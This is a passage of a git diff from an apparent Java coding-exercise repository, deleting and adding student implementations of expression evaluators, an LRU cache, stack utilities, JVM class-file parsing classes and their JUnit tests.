-		numStack.push(calculate(t.toString(), f1, f2));
-	    }
-	}
-	return numStack.pop().floatValue();
-    }
-
-    private Float calculate(String op, Float f1, Float f2) {
-	if (op.equals("+")) {
-	    return f1 + f2;
-	}
-	if (op.equals("-")) {
-	    return f1 - f2;
-	}
-	if (op.equals("*")) {
-	    return f1 * f2;
-	}
-	if (op.equals("/")) {
-	    return f1 / f2;
-	}
-	throw new RuntimeException(op + " is not supported");
-    }
-
-    public static void main(String[] args) {
-	PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-	System.out.println("The result of the expression: " + expr.evaluate());
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExprTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExprTest.java
deleted file mode 100644
index 3dbef83ca2..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PrefixExprTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-	{
-	    // 2*3+4*5
-	    PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5"); 
-	    Assert.assertEquals(26, expr.evaluate(), 0.001f);
-	}
-	{
-	    // 4*2 + 6+9*2/3 -8
-	    PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-	    Assert.assertEquals(12, expr.evaluate(), 0.001f);
-	}
-	{
-	    // (3+4)*5-6
-	    PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-	    Assert.assertEquals(29, expr.evaluate(), 0.001f);
-	}
-	{
-	    // 1+((2+3)*4)-5
-	    PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-	    Assert.assertEquals(16, expr.evaluate(), 0.001f);
-	}
-
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/Token.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/Token.java
deleted file mode 100644
index 097d635bd2..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/Token.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-    private static final Map<String, Integer> priorities = new HashMap<>();
-    static {
-	priorities.put("+", 1);
-	priorities.put("-", 1);
-	priorities.put("*", 2);
-	priorities.put("/", 2);
-    }
-    static final int OPERATOR = 1;
-    static final int NUMBER = 2;
-    String value;
-    int type;
-
-    public Token(int type, String value) {
-	this.type = type;
-	this.value = value;
-    }
-
-    public boolean isNumber() {
-	return type == NUMBER;
-    }
-
-    public boolean isOperator() {
-	return type == OPERATOR;
-    }
-
-    public int getIntValue() {
-	return Integer.valueOf(value).intValue();
-    }
-
-    public String toString() {
-	return value;
-    }
-
-    public boolean hasHigherPriority(Token t) {
-	if (!this.isOperator() && !t.isOperator()) {
-	    throw new RuntimeException("numbers can't compare priority");
-	}
-	return priorities.get(this.value) - priorities.get(t.value) > 0;
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParser.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParser.java
deleted file mode 100644
index 8d520fd68a..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-
-    public List<Token> parse(String expr) {
-	List<Token> tokens = new ArrayList<>();
-
-	int i = 0;
-
-	while (i < expr.length()) {
-
-	    char c = expr.charAt(i);
-
-	    if (isOperator(c)) {
-
-		Token t = new Token(Token.OPERATOR, String.valueOf(c));
-		tokens.add(t);
-		i++;
-
-	    } else if (Character.isDigit(c)) {
-
-		int nextOperatorIndex = indexOfNextOperator(i, expr);
-		String value = expr.substring(i, nextOperatorIndex);
-		Token t = new Token(Token.NUMBER, value);
-		tokens.add(t);
-		i = nextOperatorIndex;
-
-	    } else {
-		System.out.println("char :[" + c + "] is not number or operator,ignore");
-		i++;
-	    }
-
-	}
-	return tokens;
-    }
-
-    private int indexOfNextOperator(int i, String expr) {
-
-	while (Character.isDigit(expr.charAt(i))) {
-	    i++;
-	    if (i == expr.length()) {
-		break;
-	    }
-	}
-	return i;
-
-    }
-
-    private boolean isOperator(char c) {
-	String sc = String.valueOf(c);
-	return Token.OPERATORS.contains(sc);
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParserTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParserTest.java
deleted file mode 100644
index 3067467a10..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void test() {
-
-	TokenParser parser = new TokenParser();
-	List<Token> tokens = parser.parse("300*20+12*5-20/4");
-
-	Assert.assertEquals(300, tokens.get(0).getIntValue());
-	Assert.assertEquals("*", tokens.get(1).toString());
-	Assert.assertEquals(20, tokens.get(2).getIntValue());
-	Assert.assertEquals("+", tokens.get(3).toString());
-	Assert.assertEquals(12, tokens.get(4).getIntValue());
-	Assert.assertEquals("*", tokens.get(5).toString());
-	Assert.assertEquals(5, tokens.get(6).getIntValue());
-	Assert.assertEquals("-", tokens.get(7).toString());
-	Assert.assertEquals(20, tokens.get(8).getIntValue());
-	Assert.assertEquals("/", tokens.get(9).toString());
-	Assert.assertEquals(4, tokens.get(10).getIntValue());
-    }
-
-}
\ No newline at end of file
diff --git a/group02/812350401/.gitignore b/group02/812350401/.gitignore
index 8380fddb34..0a2df7bbee 100644
--- a/group02/812350401/.gitignore
+++ b/group02/812350401/.gitignore
@@ -1,7 +1,4 @@
 target/
 .idea/
 src/main/java/train/
-!src/main/resources/**/*.class
-!src/main/resources/**/*.xml
-src/main/resources/**/*.png
-src/main/java/assignments
+src/main/resources/
\ No newline at end of file
diff --git a/group02/812350401/pom.xml b/group02/812350401/pom.xml
index 596d874817..9a637781ce 100644
--- a/group02/812350401/pom.xml
+++ b/group02/812350401/pom.xml
@@ -7,7 +7,6 @@
     <groupId>coding2017</groupId>
     <artifactId>812350401</artifactId>
     <version>1.0-SNAPSHOT</version>
-    <packaging>jar</packaging>
     <build>
         <plugins>
             <plugin>
@@ -33,32 +32,7 @@
             <artifactId>dom4j</artifactId>
             <version>1.6.1</version>
         </dependency>
-        <dependency>
-            <groupId>org.jetbrains</groupId>
-            <artifactId>annotations</artifactId>
-            <version>RELEASE</version>
-        </dependency>
-        <!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
-        <dependency>
-            <groupId>commons-io</groupId>
-            <artifactId>commons-io</artifactId>
-            <version>2.5</version>
-        </dependency>
-        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->
-        <dependency>
-            <groupId>org.apache.commons</groupId>
-            <artifactId>commons-lang3</artifactId>
-            <version>3.4</version>
-        </dependency>
-        <!-- https://mvnrepository.com/artifact/io.reactivex.rxjava2/rxjava -->
-        <dependency>
-            <groupId>io.reactivex.rxjava2</groupId>
-            <artifactId>rxjava</artifactId>
-            <version>2.0.8</version>
-        </dependency>
-
     </dependencies>
 
 
-
 </project>
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/Stack.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/Stack.java
new file mode 100644
index 0000000000..ddfe76f774
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/Stack.java
@@ -0,0 +1,25 @@
+package com.github.miniyk2012.coding2017.basic;
+
+public class Stack {
+	
+	// 栈顶  《-》 1，2，3，4 栈底
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+		elementData.add(0, o);
+	}
+	
+	public Object pop(){
+		return elementData.remove(0);
+	}
+	
+	public Object peek(){
+		return elementData.get(0);
+	}
+	public boolean isEmpty(){
+		return elementData.size() == 0;
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrame.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrame.java
deleted file mode 100644
index b29b385d31..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,148 +0,0 @@
-package com.github.miniyk2012.coding2017.basic.linklist;
-
-/**
- * 用双向链表实现LRU算法
- * @author liuxin
- *
- */
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node() {
-		}
-
-		Node(int pageNum) {
-		    this.pageNum = pageNum;
-        }
-	}
-
-	private int capacity;
-	private int size;
-	
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param pageNum: page值
-	 * @return
-	 */
-	public void access(int pageNum) {
-        Node hitNode = get(pageNum);
-        if (null == hitNode) {
-            hitNode = new Node(pageNum);
-            addTop(hitNode);
-            if (size > capacity) {
-                delBottom();
-            }
-        } else {
-            switchTop(hitNode);
-        }
-	}
-
-    /**
-     * 获取值为pageNum的Node，如果没有返回null
-     * @param pageNum
-     * @return
-     */
-	private Node get(int pageNum) {
-	    Node currentNode = first;
-		while (currentNode != null) {
-		    if (currentNode.pageNum == pageNum) return currentNode;
-		    currentNode = currentNode.next;
-        }
-        return null;
-	}
-
-    /**
-     * 往顶部放一个Node
-     * @param node
-     */
-	private void addTop(Node node) {
-        size++;
-        if (first == null) {
-            first = last = node;
-        } else {
-            node.next = first;
-            first.prev = node;
-            first = node;
-        }
-	}
-
-    /**
-     * 把node和顶部做交换
-     * @param node
-     */
-	private void switchTop(Node node) {
-        if (node == first) return;
-        Node preNode = node.prev;
-        Node nextNode = node.next;
-        preNode.next = nextNode;
-        if (nextNode != null) {
-            nextNode.prev = preNode;
-        } else {
-            last = preNode;
-        }
-        node.next = node.prev = null;
-        addTop(node);
-        size--;
-    }
-
-    /**
-     * 把底部的踢掉
-     */
-    private void delBottom() {
-        size--;
-        if (last == first) first = null;
-        Node temp = last;
-        last = last.prev;
-        temp.prev = null;
-        last.next = null;
-    }
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-
-    /**
-     * 测试双向链表逆序输出
-     * @return
-     */
-    public String lastToString(){
-        StringBuilder buffer = new StringBuilder();
-        Node node = last;
-        while(node != null){
-            buffer.append(node.pageNum);
-
-            node = node.prev;
-            if(node != null){
-                buffer.append(",");
-            }
-        }
-        return buffer.toString();
-    }
-	
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrameTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrameTest.java
deleted file mode 100644
index 9f93ca8fc6..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.github.miniyk2012.coding2017.basic.linklist;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		Assert.assertEquals("0,7", frame.toString());
-		Assert.assertEquals("7,0", frame.lastToString());
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		Assert.assertEquals("7,0,1", frame.lastToString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		Assert.assertEquals("0,1,2", frame.lastToString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		Assert.assertEquals("1,2,0", frame.lastToString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		Assert.assertEquals("1,2,0", frame.lastToString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		Assert.assertEquals("2,0,3", frame.lastToString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		Assert.assertEquals("2,3,0", frame.lastToString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-		Assert.assertEquals("3,0,4", frame.lastToString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-		Assert.assertEquals("3,0,4", frame.lastToString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-		Assert.assertEquals("3,0,4", frame.lastToString());
-		frame.access(0);
-		Assert.assertEquals("0,4,3", frame.toString());
-		Assert.assertEquals("3,4,0", frame.lastToString());
-		frame.access(7);
-		Assert.assertEquals("7,0,4", frame.toString());
-		Assert.assertEquals("4,0,7", frame.lastToString());
-		frame.access(4);
-		Assert.assertEquals("4,7,0", frame.toString());
-		Assert.assertEquals("0,7,4", frame.lastToString());
-
-		LRUPageFrame frame2 = new LRUPageFrame(1);
-		Assert.assertEquals("", frame2.toString());
-		frame2.access(7);
-		Assert.assertEquals("7", frame2.toString());
-		frame2.access(0);
-		Assert.assertEquals("0", frame2.toString());
-	}
-
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/Stack.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/Stack.java
deleted file mode 100644
index 19cd662268..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/Stack.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.github.miniyk2012.coding2017.basic.stack;
-
-import com.github.miniyk2012.coding2017.basic.ArrayList;
-
-public class Stack {
-	
-	// 栈顶  《-》 1，2，3，4 栈底
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-		elementData.add(0, o);
-	}
-
-	// 如果队列已经没有值了，则抛出ArrayIndexOutOfBoundsException的异常
-	public Object pop(){
-	    try {
-            return elementData.remove(0);
-        } catch (Exception e) {
-	        throw new NullStackException();
-        }
-	}
-	
-	public Object peek(){
-		return elementData.get(0);
-	}
-	public boolean isEmpty(){
-		return elementData.size() == 0;
-	}
-	public int size(){
-		return elementData.size();
-	}
-
-	public static void main(String[] args) {
-		Stack s = new Stack();
-		s.pop();
-	}
-
-	public static class NullStackException extends RuntimeException {
-	    NullStackException() {
-	        super("Null Stack!");
-        }
-    }
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackUtil.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackUtil.java
deleted file mode 100644
index c4e253d92b..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,158 +0,0 @@
-package com.github.miniyk2012.coding2017.basic.stack;
-
-import com.github.miniyk2012.coding2017.basic.Queue;
-import java.util.*;
-
-/**
- * Created by thomas_young on 5/4/2017.
- */
-public class StackUtil {
-
-
-    /**
-     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     */
-    public static void reverse(Stack s) {
-        Queue q = new Queue();
-        while (!s.isEmpty()) {
-            q.enQueue(s.pop());
-        }
-        while (!q.isEmpty()) {
-            s.push(q.deQueue());
-        }
-    }
-
-    /**
-     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param o
-     */
-    public static void remove(Stack s,Object o) {
-        Stack tempS = new Stack();
-        boolean found = false;
-        while (!s.isEmpty()) {
-            if (!found && Objects.equals(s.peek(), o)) {
-                s.pop();
-                found = true;
-            } else {
-                tempS.push(s.pop());
-            }
-        }
-        while (!tempS.isEmpty()) {
-            s.push(tempS.pop());
-        }
-    }
-
-    /**
-     * 从栈顶取得len个元素, 原来的栈中元素保持不变
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     * @param len
-     * @return
-     */
-    public static Object[] getTop(Stack s, int len) {
-        if (len < 0) {
-            return null;
-        }
-        Stack tempS = new Stack();
-        while (tempS.size()<len && !s.isEmpty()) {
-            tempS.push(s.pop());
-        }
-        int actualLen = tempS.size();
-        Object[] o = new Object[actualLen];
-        int i = actualLen;
-        while (!tempS.isEmpty()) {
-            Object temp = tempS.pop();
-            o[--i] = temp;
-            s.push(temp);
-        }
-
-        return o;
-    }
-
-    /**
-     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-     * 使用堆栈检查字符串s中的括号是不是成对出现的。
-     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-     * @param s
-     * @return
-     */
-    public static boolean isValidPairs(String s){
-        Map<String, String> matchBrackets = new HashMap<String, String>() {{
-            put("{", "}");
-            put("[", "]");
-            put("(", ")");
-        }};
-
-        Stack stack = new Stack();
-        for (int i=0; i<s.length(); i++) {
-            String c = s.substring(i, i+1);
-            if (matchBrackets.keySet().contains(c)) {
-                stack.push(c);
-            } else if (matchBrackets.values().contains(c)) {
-                try {
-                    String preC = (String) stack.pop();
-                    if (matchBrackets.get(preC).equals(c)) {
-                        continue;
-                    } else {
-                        return false;
-                    }
-                } catch (Stack.NullStackException e) {
-                    return false;
-                }
-            }
-        }
-        if (!stack.isEmpty()) {
-            return false;
-        } else {
-            return true;
-        }
-    }
-
-    public static void main(String[] args) {
-
-        Stack s = new Stack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        s.push(4);
-        StackUtil.reverse(s);
-        while (!s.isEmpty()) {
-            System.out.print(s.pop());
-        }
-        System.out.println();
-
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        s.push(4);
-        s.push(2);
-        StackUtil.remove(s, 2);
-        while (!s.isEmpty()) {
-            System.out.print(s.pop());
-        }
-        System.out.println();
-
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        s.push(4);
-        s.push(2);
-        System.out.println(Arrays.toString(StackUtil.getTop(s, 10)));
-
-        System.out.println((isValidPairs("[")));
-        System.out.println((isValidPairs("[]")));
-        System.out.println((isValidPairs("ad[(a{f})]db")));
-        System.out.println((isValidPairs("ad[(a{f))]db")));
-        System.out.println((isValidPairs("ad[(a{f}(saf)((afsdg)))]db")));
-        System.out.println((isValidPairs("ad[))]db")));
-        System.out.println((isValidPairs("(([[[ad[))]db")));
-        System.out.println((isValidPairs("(([[[ad[))]db")));
-        System.out.println((isValidPairs("(()")));
-        System.out.println((isValidPairs("()")));
-        System.out.println((isValidPairs("")));
-        System.out.println((isValidPairs("([e{d}f])")));
-        System.out.println((isValidPairs("([b{x]y})")));
-    }
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index 92727ce984..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,134 +0,0 @@
-package com.github.miniyk2012.coding2017.basic.stack.expr;
-
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Stack;
-
-public class InfixExpr {
-	private String expr = null;
-    enum Operator {
-        PLUS("+", 1), SUB("-", 1), MUL("*", 2), DIV("/", 2);  // 优先级越大，说明应该先算
-        private String value;
-        private int priority;
-        Operator(String value, int prioriy) {
-            this.value = value;
-            this.priority = prioriy;
-        }
-        public static Operator parseOperator(String value) {
-            for (Operator c : Operator.values()) {
-                if (c.value.equals(value)) {
-                    return c;
-                }
-            }
-            throw new RuntimeException("运算符不存在");
-        }
-    }
-
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-	private static Token<Float> evaluate(Token<Operator> operator, Token<Float> number1, Token<Float> number2) {
-        float ret;
-        switch (operator.value) {
-            case PLUS:
-                ret = number1.getValue() + number2.getValue();
-                break;
-            case SUB:
-                ret = number1.getValue() - number2.getValue();
-                break;
-            case MUL:
-                ret = number1.getValue() * number2.getValue();
-                break;
-            case DIV:
-                ret = number1.getValue() / number2.getValue();
-                break;
-            default:
-                throw new RuntimeException("运算符不存在");
-        }
-        return new Token(ret, true);
-    }
-
-
-	public float evaluate() {
-        List<Token> tokens= Token.parse(expr);
-        Stack<Token<Float>> numberStack = new Stack<>();
-        Stack<Token<Operator>> operatorStack = new Stack<>();
-        for (Token t : tokens) {
-            if (t.isNumber()) {
-                numberStack.push(t);
-            } else {
-                if (operatorStack.isEmpty()) {
-                    operatorStack.push(t);
-                } else {
-                    Token<Operator> preT = operatorStack.peek();
-                    if ((preT.value).priority >= ((Operator)t.value).priority) {
-                        Token number2 = numberStack.pop();
-                        Token number1 = numberStack.pop();
-                        operatorStack.pop();
-                        numberStack.push(evaluate(preT, number1, number2));
-                    }
-                    operatorStack.push(t);
-
-                }
-            }
-        }
-        while (!operatorStack.isEmpty()) {
-            Token number2 = numberStack.pop();
-            Token number1 = numberStack.pop();
-            Token operator = operatorStack.pop();
-            numberStack.push(evaluate(operator, number1, number2));
-        }
-		return numberStack.pop().getValue();
-	}
-
-
-    private static class Token<T> {
-	    private boolean number;  // 是数字/操作符
-	    private T value;
-	    public boolean isNumber() {
-	        return number;
-        }
-        public T getValue() {
-	        return value;
-        }
-
-        public Token(T value, boolean number) {
-            this.value = value;
-            this.number = number;
-        }
-        public static List<Token> parse(String expr) {
-	        int i = 0;
-	        int size = expr.length();
-            String current;
-            List<Token> tokens = new LinkedList<>();
-            String value = "";
-            while (i < size) {
-                current = expr.substring(i,i+1);
-                if (isOperator(current)) {
-                    tokens.add(new Token(Float.parseFloat(value), true));
-                    value = "";
-                    tokens.add(new Token(Operator.parseOperator(current), false));
-                } else {
-                    value += current;
-                }
-                i++;
-            }
-            tokens.add(new Token(Float.parseFloat(value), true));
-            return tokens;
-        }
-
-        private static boolean isOperator(String value) {
-            for (Operator c : Operator.values()) {
-                if (c.value.equals(value)) {
-                    return true;
-                }
-            }
-            return false;
-        }
-    }
-
-    public static void main(String[] args) {
-
-
-    }
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index 706aaea86e..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.github.miniyk2012.coding2017.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3");
-			Assert.assertEquals(5.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/AccessFlag.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index 75a579e3cb..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index c4d13704f2..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.clz;
-
-
-import com.github.miniyk2012.coding2017.coderising.jvm.constant.ClassInfo;
-import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassIndex.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index b71f919b66..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ClassInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ClassInfo.java
deleted file mode 100644
index e818dcb72b..0000000000
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.github.miniyk2012.coding2017.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
